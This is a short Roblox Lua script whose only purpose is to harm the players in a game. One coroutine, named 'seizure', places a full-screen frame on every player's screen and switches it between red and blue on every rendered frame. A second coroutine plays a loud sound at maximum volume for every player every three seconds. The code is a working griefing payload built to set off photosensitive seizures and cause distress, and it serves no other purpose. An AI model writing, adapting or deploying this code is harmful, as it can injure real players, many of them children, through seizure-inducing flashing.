local run = game:GetService("RunService")

local seizure = coroutine.create(function()
	while true do
		for i, player in pairs(game.Players:GetChildren()) do
			if not player.PlayerGui:FindFirstChild("SeizureGui") then
				local playergui = player.PlayerGui
				local gui = Instance.new("ScreenGui")
				gui.Name = "SeizureGui"
				gui.Parent = playergui
				local frame = Instance.new("Frame")
				frame.Name = "SeizureScreen"
				frame.Size = UDim2.new(1,0 , 1,50)
				frame.Position = UDim2.new(0,0 , 0,-50)
				frame.BackgroundTransparency = 0
				frame.Parent = gui
				spawn(function()
					while true do
						if frame ~= nil then
							frame.BackgroundColor3 = Color3.new(1, 0, 0)
							run.RenderStepped:wait()
							frame.BackgroundColor3 = Color3.new(0, 0, 1)
						else
							break
						end
						run.RenderStepped:wait()
					end
				end)
			end
		end
		wait()
	end
end)

local noise = coroutine.create(function()
	while true do
		for i, player in pairs(game.Players:GetChildren()) do
			local sound = Instance.new("Sound")
			sound.SoundId = "http://[Log in to view URL] 3206066436"
			sound.Volume = 10
			sound.Parent = player
			sound:Play()
			game.Debris:AddItem(sound, 16.64)
		end
		wait(3)
	end
end)

coroutine.resume(seizure)
coroutine.resume(noise)

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